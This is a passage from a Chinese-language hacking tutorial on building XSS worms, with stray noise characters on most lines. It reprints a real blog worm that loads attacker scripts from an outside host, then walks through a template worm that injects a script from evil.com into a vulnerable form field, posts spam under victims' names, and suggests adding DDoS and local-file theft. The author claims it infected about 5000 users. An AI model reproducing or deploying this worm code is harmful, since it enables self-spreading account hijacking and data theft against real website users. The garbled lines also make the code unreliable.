' H# \8 d2 U. I. W5 z) E* c1 K3 K4 c% G! G4 J. m4 h. A
myblogid=mybloglist.substring(0,myurls);( K$ q7 E$ e+ X/ E* E
' J! c% E: O4 z: N% h u }else{break;}
3 w+ h0 _5 g+ J6 A5 w7 e9 A& t: a" K6 a2 b, H4 @3 d$ G
}8 ]/ w& y0 r- l+ Y9 P
3 ]* U" h+ D' f7 K* E6 S2 N/ R) W
get_my_testself(); //执行这个函数8 m3 d1 N( b) q1 I, v, v p
- w0 q" o7 Z' b" U}3 N+ Q6 X1 h4 M7 M" M9 C+ j
. h# O) N3 q; T% G
4 t& y* a, q$ ~& Z; b# `" z- n
, F! _6 H/ _, l* b' H0 \: s) f
//这里往哪跳就不知道了
6 Q' Z- D8 L2 [: @0 Y
" V2 [, s! s# j6 ^function get_my_testself(){
( e/ k5 ~2 |6 W% G( ^8 ~5 ]6 X0 g/ s6 Z' J0 V3 V' G+ [
for(i=0;i<myblogid.length;i++){ //获得blogid的值
! F4 b5 |! g" R" ~$ j( N0 R
k+ z2 s& h: U5 E+ ~; [, c. f var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();
$ O) p9 N6 L& o2 m' L* _( I' K2 u+ l' c* [
var xhr2=createXMLHttpRequest(); //创建XMLHttpRequest对象
" Y) g1 i3 R, t( w, k+ f7 |: o( o) O4 D
: ]4 l: s( m2 j& T3 J if(xhr2){ //如果成功0 c- s# @! N+ K
0 S1 _- w" y9 g! N3 h' o6 J% T
xhr2.open("GET",url,false); //打开上面的那个url
2 Z( a4 B/ i- B, H% a3 R; z, ?7 q4 r% a
xhr2.send();5 v- V6 j. t+ H# \# u' q% K' p
% o$ a6 i$ g( V+ Z/ S+ C5 V guest2=xhr2.responseText;
) v$ U; p7 J" w% Z8 V# k5 B# [2 S# F1 R0 G
var mycheckit=guest2.indexOf("baidu"); //找"baidu"这个字符串,找它做什么?2 m8 v: @& q* M Z3 w
8 ]* v: \* X, U
var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串: a1 ?5 ~) d: V7 ]: k: h
* W! I) V g; H if(mycheckmydoit!="-1"){ //返回-1则代表没找到
# G) F2 C, h$ d" i
) Y+ a1 Y: e5 A* L- @; y targetblogurlid=myblogid;
; U! ?$ ^/ B5 h6 o& g3 I3 j- t5 |
) M1 Z/ U T# | add_jsdel(visitorID,targetblogurlid,gurl); //执行它
' T7 n: G* v2 m$ F+ d( E R# h y9 a, @* p
break;
* f _# f$ x- O6 c( y; H* Y; i s! R
}
- B) B5 U9 k1 H. m7 G' N8 K" x7 P! Z A- s1 [' H" U
if(mycheckit=="-1"){9 j. u9 r8 Q* [- d2 J6 K
6 Y+ U% {0 f3 |3 `/ F9 k
targetblogurlid=myblogid;" a+ d, M/ R+ d: D9 X+ _, y+ ^
' R, g0 h2 G6 p5 L) _7 K2 T
add_js(visitorID,targetblogurlid,gurl); //执行它. S0 C- ^% E. N) L
' W3 ^. f( W7 b0 o7 o% ?; |* V break;& L' C9 Q6 o; j9 G' |1 S; j8 W/ d
! k% E2 A% ~6 @ q& C5 T' n
}7 ^2 a' s j% `( @/ t
$ b; d) r: q# \, q0 B } . v$ n# w. a' Z" q0 K
( T8 a4 h x6 I ~, x8 ?
}* g% k. c- J0 M- o0 y
4 I& Q2 b r9 K0 A6 y9 k) g}" i: ^0 R: |/ O& L' o1 _' h( g
# e$ G# ~/ w! v2 R1 k) C
3 t) I- T% X2 K+ S* f0 x: j" t ]6 a$ Z4 B6 }8 [
//--------------------------------------
3 s6 x! H% e& G3 c. l% p: Z/ I
//根据浏览器创建一个XMLHttpRequest对象
' ]" ^& ]; R; _ O7 C" _
: P4 l5 l; G3 Y* e! l! G4 ?* K+ Q/ v/ kfunction createXMLHttpRequest(){# A& }6 p* `% X) [
4 Y, E) c# h' F! m; Y3 x6 s. w U var XMLhttpObject=null;
: j1 s7 H1 [; K$ S1 r
& ~$ b; T6 ~. e1 w! |% Q; k3 P) R if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()} - I3 A9 k- y8 y7 P- E
' t5 k/ b& S4 x1 e$ f0 P
else 9 g7 r5 B6 ~ P% u4 b
* K( E7 E( B$ r5 S { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];
& W3 c' {2 K- ~( P; r. x( y" l4 X
( V5 B# `/ j' t8 L1 k& s for(var i=0;i<MSXML.length;i++)
% e% Q$ s) N3 x( |& ^2 r
9 j' X' s- v. u5 G! {4 [/ j4 y { + ?& X) g) {3 P/ j* z
. @0 N1 s/ p2 l1 M% V5 h try 6 T6 _+ M7 l% d' H: [
! k7 Q. P/ W% ? { * @6 h- C: O9 K
1 k: i& h! d. Z8 x7 A
XMLhttpObject=new ActiveXObject(MSXML);
8 [2 J' [8 I6 t4 ?. q. i4 K
4 d* ]4 l, M0 T5 b4 ^ break; + j4 E5 F2 w C' C) q
: m7 t5 U f: P! I
} . g( r& E! }6 |& x) n7 g6 N
1 G+ m+ M, p0 ~% R& G3 [9 x catch (ex) { 7 j6 Q" d6 h8 o9 y' }. m
! r4 \' G* J% j& t' }4 l }
1 E$ I7 V) g1 s+ s3 O8 }0 [) ^2 L, a. Q* F7 I
} 7 R! W. j& G [& f* }
8 c+ ?- g& b. J$ _1 i } S0 m: c% ?! G1 m& F) L
K _2 T1 w& W H, P% _/ G# a7 p7 {( Q
return XMLhttpObject;
; L% W4 Y$ m4 I8 p; Z; N# w7 q
& y2 [7 r% v7 y5 ]& c. _, C} $ H$ _* F0 A& G) f8 s
5 V7 p5 O1 t8 Z8 v# B
' e7 q/ i$ K* m2 a/ |& B9 w
# ?* o; p9 q/ m, P
//这里就是感染部分了
& h& k% r# {+ \* h/ X2 a% E7 n
8 y! e4 R' W9 }/ a1 Q% f" Nfunction add_js(visitorID,targetblogurlid,gurl){
# V& C% y/ @/ }+ Z7 t# Z
% K& ]" D5 O' Q. U0 b/ q; jvar s2=document.createElement('script');
4 G& N m/ [2 U% i6 ^. }4 {$ W Y8 i
s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
' ^* b8 r6 k' M7 v3 w5 z- H% x4 u2 @
& p; b! `5 U" ?* N* fs2.type='text/javascript';
8 d; R1 D1 q8 x8 w; X! W# b2 t* m9 o' W& L. g ]6 J j% K; V
document.getElementsByTagName('head').item(0).appendChild(s2);
# \( ]+ u6 M" j* s4 S( r
! H$ C" s( l5 w8 o+ A}
0 X9 Q3 p. |( B* r0 I5 [# M. p' m' d+ M6 x
! L/ a/ G8 E6 F. v+ n+ x# b( x/ w' m8 @/ p1 u/ H
function add_jsdel(visitorID,targetblogurlid,gurl){
. Y7 M7 h3 \2 E9 T7 p) e
- f% t! J* Y! E, k" ^% Mvar s2=document.createElement('script');% Z* F- e6 k; _3 u, j
- e7 L1 L5 p( l
s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
" R. o$ Q( ^+ m3 w- g0 e% N
+ T* c; k1 s+ k( W8 |4 y/ us2.type='text/javascript';
! |* B8 d" _5 X. t; Q5 O4 ~( ?0 |( W9 y
- R& {4 x9 y* U7 v3 c" H8 o/ y- ?1 pdocument.getElementsByTagName('head').item(0).appendChild(s2);
( l S, D" f2 I7 a) {& H
2 A6 b3 \9 ?, t0 W% J}; Q5 \( d: I7 Z9 y# A# d
复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:! v) [$ E1 F, S! t3 S) t
1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)/ k( f4 C6 {7 H% H. e
* u% B* w- O0 ?4 }! M. j
2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)* ?. ]3 k0 q4 I# G) f# l6 C
1 M R% n# J- y3 ~综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~
w: ^. r7 c8 `% C' R; t; l" R3 z# n% n+ V+ D4 a
, f% ~- _, c; N* n Q下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.
7 n( M0 {1 u( g, Z8 w, M0 V' B7 g2 G1 a
6 ?1 G' I0 T7 [0 |( [+ Y ~5 G首先,自然是判断不同浏览器,创建不同的对象var request = false;6 T1 O# k3 z* m$ l0 l* i& t6 s# T# i
) q& b+ ]: _8 w; u! R( d" u% t+ ~
if(window.XMLHttpRequest) {
/ p; M6 T4 G m5 x
) I7 g- |6 j/ f$ Orequest = new XMLHttpRequest();
) q# I7 t) P, @0 I$ o0 L8 e( D2 f6 y; j- F& b/ d! Z% D4 `
if(request.overrideMimeType) {* l; N* P5 Q9 g/ n/ }2 d
! Z( W- M5 o/ w2 ]' w2 Trequest.overrideMimeType('text/xml');$ W$ q6 }' I; o8 x4 S
$ u' d$ Z5 C# F, E) |- h
}
" K$ r9 E) h1 I0 A2 q+ U8 f4 \0 }2 ?" U
} else if(window.ActiveXObject) {/ |) N6 ]9 g- B5 z3 Z/ X `
( i% G/ F! r) K+ i
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
2 }. w; n9 \$ C1 U. y. Y% T }# |3 C
for(var i=0; i<versions.length; i++) {
, n1 {6 M: U" U& P% B1 E; N9 K8 G
try {4 L6 L: m9 m* H" u% Y1 N% X
* i4 Q( C. b% Y
request = new ActiveXObject(versions);
) r& n% i% b% ~1 \: e9 v
; P4 n( O& `, [1 | z9 {. r4 N m5 R} catch(e) {}
7 F& I5 a: k: A5 M& o" |9 Z' _
. s+ E: N3 R) L) ^2 z" ~! ~* G, K}: B( v+ N! R1 {. I& j. }- Y2 a3 W
" w) a l7 k" Z8 q/ M4 i}. W7 C+ ]3 b3 l" q
. M" A7 ?7 M# o8 u0 L4 c1 b; hxmlHttpReq=request;8 x# Z' @7 h5 D+ _. ? N- {
复制代码可以此时添加判断浏览器具体型号和版本: function browserinfo(){2 f4 b$ ?: R; v# A2 Q( M
m! p1 l3 L2 d# ~
var Browser_Name=navigator.appName;8 V! C8 k2 w( O7 J) ~* {
. o7 \* Z/ F1 ~$ |" ^, h/ d) U
var Browser_Version=parseFloat(navigator.appVersion);
2 ]$ E0 {- V, m7 w- k9 g1 G8 S# J2 j* ?0 E. K; z" y5 m1 s
var Browser_Agent=navigator.userAgent;
2 P" F5 E, I* O) a6 B- p# d& B4 m( F; K# J8 M/ o
! f- }3 E! {; \1 R Z% X; x `2 \
var Actual_Version,Actual_Name;
7 g" C' t0 Z+ ~6 a4 {0 ]
) w8 V8 w: R6 D& k( ]! H9 a9 g8 B 1 ?7 d2 W- N0 _+ i
- ?3 F" e- @/ l+ y! v' N var is_IE=(Browser_Name=="Microsoft Internet Explorer");/ J) D0 s# M% V- B" i- t, r5 ~6 D# J
, H* [. X# A4 b# m$ Q# c+ Y$ Y var is_NN=(Browser_Name=="Netscape");) F/ w, i W/ V% H
: w- s0 ?2 G8 c+ z- B var is_Ch=(Browser_Name=="Chrome");
; B7 v7 ?. O* R8 ]7 x5 [. ^+ ~/ ?* P4 D5 R0 A
& u" @$ e! N( ]" s) f0 [
% V; [ z* \9 i8 P! J: ~ if(is_NN){; \+ j6 z; {4 h& Y, |3 E5 e4 m
) [6 `. E' @8 G( Q' c2 s if(Browser_Version>=5.0){0 S( d- f+ I& T0 g
* h" X4 F- V5 T( U6 b0 H4 i' D var Split_Sign=Browser_Agent.lastIndexOf("/");
+ k) d7 M/ s3 n0 p) f j# V J3 X4 G) j
var Version=Browser_Agent.indexOf(" ",Split_Sign);
! B& \( _0 |' P; Y% u# W* Q' t& \3 U
var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);
. S7 [" r6 O2 N3 @+ i2 ~; n* y; [ V7 w, J4 ]& D
0 U9 A5 A& G& {4 a3 J/ r$ M, a" a2 O( ^; P# b! M
Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);
2 s7 a" `: O' r3 P
, M( [! f" G9 k$ v7 p8 d& k Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);
: X& Y; Y" E# [1 _- [3 d0 \) Y3 c- j' V
}
1 \! d5 Q4 t2 k1 c/ p& H) s/ w
/ s8 z E& w3 @' I else{
5 E0 K( T' \+ C5 i8 ?& z/ z) w# }3 B1 u4 }* i$ Z
Actual_Version=Browser_Version;; L: [; J# c0 J w5 U4 e
6 R H2 X( N/ [& d* f
Actual_Name=Browser_Name;$ p& c1 y8 x( W1 e5 ?2 `4 P
2 f' L7 N* b1 W/ ` A }
" L F3 y) @) h* R& \8 q! U2 v6 e
5 ?/ k: A4 w# Y }- S' j/ n8 [, N( \5 D- U
& ]" ]& o, S; b( Q( L& t( X6 A
else if(is_IE){
2 e( Y/ A% p; [- }5 C- E
! Z' k* o$ p# t var Version_Start=Browser_Agent.indexOf("MSIE");. b* u$ X! o" o( H- n
! L2 o* O6 ]+ r+ a. \- }: M var Version_End=Browser_Agent.indexOf(";",Version_Start);" b: A9 s; g7 Z3 F6 E9 o% ?
6 |4 b2 _" x9 M2 K3 i Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
! j& v! s5 u7 B6 Z) U S- z/ t2 a# v9 ]' ?+ u
Actual_Name=Browser_Name;: i9 K9 J8 F2 l, S: ]% i4 y* @
# d- k0 e3 A, q% G; T 9 w% P5 r; J+ c
; ]7 {" X1 N" u/ R( u0 W& | if(Browser_Agent.indexOf("Maxthon")!=-1){) _3 g1 {5 q3 C* I
- B3 m! \2 F/ C0 [# M4 E3 }
Actual_Name+="(Maxthon)";
" c) G( i. h. F8 z1 H1 x: m
0 }5 U! J8 ]' w& w4 C& A/ C0 ~ }- ^& i$ {- E7 t
1 w2 G" W0 |4 I% |( u, {
else if(Browser_Agent.indexOf("Opera")!=-1){
& D! v2 U* t2 J7 E
5 z4 P1 G4 V. g/ X; ] Actual_Name="Opera";2 y" x5 g3 m) X
) P+ t9 n! }$ t- G) ?& l" D
var tempstart=Browser_Agent.indexOf("Opera");8 p/ F7 K* i7 j; T2 i
! E- G4 M. D8 d1 V' Q' C0 F( K var tempend=Browser_Agent.length;
* A6 s& \ F a+ p6 w, V k) S4 F, V' s f/ Q8 L0 C1 i( I
Actual_Version=Browser_Agent.substring(tempstart+6,tempend)+ r4 C+ Q* w" S) o& C
5 W2 Z1 d2 q7 f1 p7 A: ~# C3 h( g }
# z/ y/ v j& I9 _
; X2 ]' P2 x9 J }: C) x. K. B* [# ?
. Q1 }. Q" ~1 I+ `3 H2 S; H. a6 h) O
else if(is_Ch){) m3 ]9 h) ?5 F5 i7 a
' k; Z8 r @6 Q/ }" ^; J var Version_Start=Browser_Agent.indexOf("Chrome");
4 a& O* B( L* E [5 N S2 ]' V
$ Q `0 u- F4 s5 y; E; ^& Y var Version_End=Browser_Agent.indexOf(";",Version_Start);
5 E; n- m1 a: p% h' X9 S7 `2 W( Z
) m4 | {: J5 V Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End). ?* N. b* \- ~7 A& }! `6 p
! [1 i. X4 _( W/ O, p+ z Actual_Name=Browser_Name;6 g. o5 c `1 Y2 C4 n
7 r& B- G, C- i
) T1 c2 L' |# g1 R0 l2 \3 w
J# @4 i5 i! X6 G" `0 f' G if(Browser_Agent.indexOf("Maxthon")!=-1){7 `) s& w& b9 F8 e
; Z0 A; j1 S- |/ V Actual_Name+="(Maxthon)";/ y/ Y# \+ c4 V* h6 ?/ x
, Q3 Z8 z9 M2 ]: f6 S }
. M8 Z+ j9 J ]' P; p$ J3 `9 c8 g4 n" _, n& l! X
else if(Browser_Agent.indexOf("Opera")!=-1){
: D7 g3 B7 [! {4 U% A
0 _: K% Y# y- X# v, B1 ^; Q Actual_Name="Opera";
$ x' b6 e g( f, @3 t
: ~" y& }, W! M) m. I' b! f var tempstart=Browser_Agent.indexOf("Opera");
+ n: C' t$ K' z7 Q
: @" P* U" ~" V- g& E& q var tempend=Browser_Agent.length;
) { b+ [. z+ ~+ E- O
4 |1 F8 h0 ~3 L) ` Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
/ o* T& C, ?6 Z0 y2 B, @- k* S
! Q; r% F9 N8 C9 x: W }
) |, l: n: V4 S" V: U' {3 A6 g {! q) n" G
}
4 X6 N6 D3 j3 ^& I" F+ Y1 z( ]5 A# k. _: q; N2 b
else{2 [) x) T4 a: ? \5 b4 l
9 R4 n3 }! T, ~4 K
Actual_Name="Unknown Navigator", z3 E" E/ C. q% S
8 L$ k2 o6 z2 n Actual_Version="Unknown Version"
/ |' P2 S8 I/ ]" y# f
9 k+ l5 Y& ]5 g2 E/ f/ b1 o }
V- U5 }) ]' O, D9 U+ n
6 {1 Q0 U/ q1 }& g7 @. ]4 L# _+ {( [4 E- r2 W9 |
+ c0 H0 I7 }5 f+ C" E navigator.Actual_Name=Actual_Name;
- H+ R% M% | }2 q( j- d9 \6 h
4 W* ~1 E* b+ G+ z5 Z6 v/ } navigator.Actual_Version=Actual_Version;* M, u, Y! Z0 k. L/ `$ X2 L
4 u, c* O. d* z9 e$ R, C
4 r5 Q# D+ u4 d; H
9 g5 L# n* u, T& r; o this.Name=Actual_Name;
: C/ N2 ]) U1 O! R5 W* ~/ p& ]) I7 K. Z; ?+ r
this.Version=Actual_Version;; S1 ~$ S5 [# y; U `' T. n; z
9 e( Y" N9 g$ H
}
1 n+ l* B( Y4 m% p# z; h. W* V9 V& D( {2 f, n
browserinfo();
, \7 H2 g' u2 x4 y
4 q9 z0 }) b! c( k if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}
& j* }$ G- c9 z# q& ~
* I- m4 K' h% J" b: Y9 I! h( r; F if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}
( Z) K! k5 v% J9 ]6 m3 G* T9 f8 z% Y0 F$ h/ i6 b, a7 |" s. }
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}
/ g$ P% F% \+ B2 s- [
# S I/ K/ j; q1 R) d& ] if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}* p) R* Z/ m; L
复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码/ ?! k+ h1 ~' t5 z9 C
复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
9 g! U- \( ^7 W% o9 \2 z+ [' \复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false); //读取某页面.
$ m/ k( O1 {% ~
5 T% C0 R6 V+ ~' e: ~xmlHttpReq.send(null);
: ~1 a( z. x; ]* q u) |
; ?/ m) M( s5 X \" Z$ J& fvar resource = xmlHttpReq.responseText;
6 s: \* a! n7 m$ {$ S' C3 z# c+ e' T5 N+ K* o, }
var id=0;var result;
! v. o8 s8 N0 V* [0 D5 j9 c9 e; }/ C0 @6 Q
var patt = new RegExp("bugbug.js","g"); //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.
* Q( k- N( d% j) n: j' V. q5 K& R/ ?: p: u2 m+ n" p( e' S
while ((result = patt.exec(resource)) != null) {+ ~( q4 t) W( s5 x+ L1 S8 _! [
4 \: r8 v g2 y6 A5 S& p
id++;& D1 X5 l0 ], O1 v- X
/ E1 i! h5 E- h3 O
} |- J4 K* m" \/ ^0 A
复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){ //这里我们假设要求那个页面蠕虫的数量要有2只.3 m) `) \) ~' _' `# a
! X; K! F2 i0 m Y8 A s- i$ d1 Bno=resource.search(/my name is/);
! i+ a u( d- t6 A6 z( H) L2 S* J U
var wd='<script src="http://www.evil.com/bugbug.js"</script>'; //wd是存在XSS漏洞的变量.我们在这里写入JS代码.8 a$ M" d6 S; `. M0 g; T# Y0 f9 i
9 |7 k6 a+ w' g" n( ~var post="wd="+wd;+ [+ O" s/ V' n( ^2 H7 `
+ t( U" n+ ?1 l; ~; m; D/ {' CxmlHttpReq.open(" OST","http://www.vul.com/vul.jsp",false); //把感染代码 POST出去.- i1 f+ N4 B, d2 h
& C9 A( k" I4 l8 A( ~/ N+ \5 cxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
/ u3 j& I2 \; W9 `' H1 a. G
$ k$ L( z$ c/ R, j4 p0 m/ MxmlHttpReq.setRequestHeader("content-length",post.length);
/ C- h5 w* h+ q5 }* z, ^7 C: p/ w6 b* m- y
xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");9 r* J. S6 P7 U0 N
1 y: I' S7 M: U
xmlHttpReq.send(post);
8 J" _# E3 Z9 u+ M- t* ~0 J4 N
2 q' @6 f# `2 i6 q# v6 V7 f}9 `- ?: H. t" ?3 Q! Z: g* u6 o
复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{
( [8 `, |- J& G7 A! E9 z. \: R) ~ ?- H: S
var no=resource.search(/my name is/); //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方. W; S6 Y* W E8 b
8 b! ?2 D% E- s# |; s' @
var namee=resource.substr(no+21,5); //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.+ o( ] w+ U0 _- n
+ t* a- G2 D" ^7 m! R8 x* e
var wd="Support!"+namee+"<br>"; //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.
- M( c; G* K. q3 f k
# M8 W# u; t8 _: i+ V* J8 p- g& x9 u) Kvar post="wd="+wd;
! z' n& ]+ L, e2 \4 E6 b. \; N0 u8 I2 s, W j4 A; c
xmlHttpReq.open(" OST","http://vul.com/vul.jsp",false);+ `! @3 ^9 G3 O, ^
5 M6 k, _7 A/ f+ @5 x+ K* OxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
7 C& h/ m% c. ^
/ I$ U3 ^2 \+ P1 z1 TxmlHttpReq.setRequestHeader("content-length",post.length);
& m1 [+ p2 D( _6 T6 A! b- t& t u
) D+ n1 A$ y6 R! _4 W8 qxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");! d+ N f7 y* n; x% }4 h9 k
9 |; K8 _9 u9 }" O6 O) cxmlHttpReq.send(post); //把传播的信息 POST出去.! U: b+ ?4 c; z, w, m
/ n8 Q' Q5 O* H* L) Q1 S: W, i}; d* e. `! r% Z- N6 u- s
复制代码-----------------------------------------------------总结-------------------------------------------------------------------7 w, j: E4 }9 H ]
2 U: ` R3 p. p8 H7 C5 I, s
! Q3 n }% f3 Y* W8 `5 d
8 D0 O* C h* g0 M本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
0 u2 ^9 X' v) h) e0 {6 t$ \蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
8 o: X2 W0 C( L5 [4 n1 B' U' }3 g操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.2 {; _, ~# {3 C* [
7 ?# B4 D) z N+ W
6 z$ o% F# \' b! F; S* w9 I. A7 R# n
6 V8 T$ u6 s. w! c2 t' i* [" D3 h* n- _5 Y7 m5 r" u
, \9 K. S q& y
" w& b/ W/ r2 ^* {8 K
y. Z5 k# s. z
, q9 B6 E1 f+ G- v! Z
本文引用文档资料:
' ^( f; p) `: d' `& |% ]2 ~# ^
4 z% e) j2 \; ?. |9 a( N"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
1 | g1 E x9 t) V* v3 n$ NOther XmlHttpRequest tricks (Amit Klein, January 2003)8 O: u9 Y' b# {) g0 |
"Cross Site Tracing" (Jeremiah Grossman, January 2003)) p# ^; ?1 S8 D0 }/ d( D
http://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
1 _9 F% {; t1 k, A+ o1 d) b空虚浪子心BLOG http://www.inbreak.net
+ E) d$ L7 o* F! o: I8 bXeye Team http://xeye.us/
9 Q1 }6 z1 p3 g( u3 D3 p9 R& Z |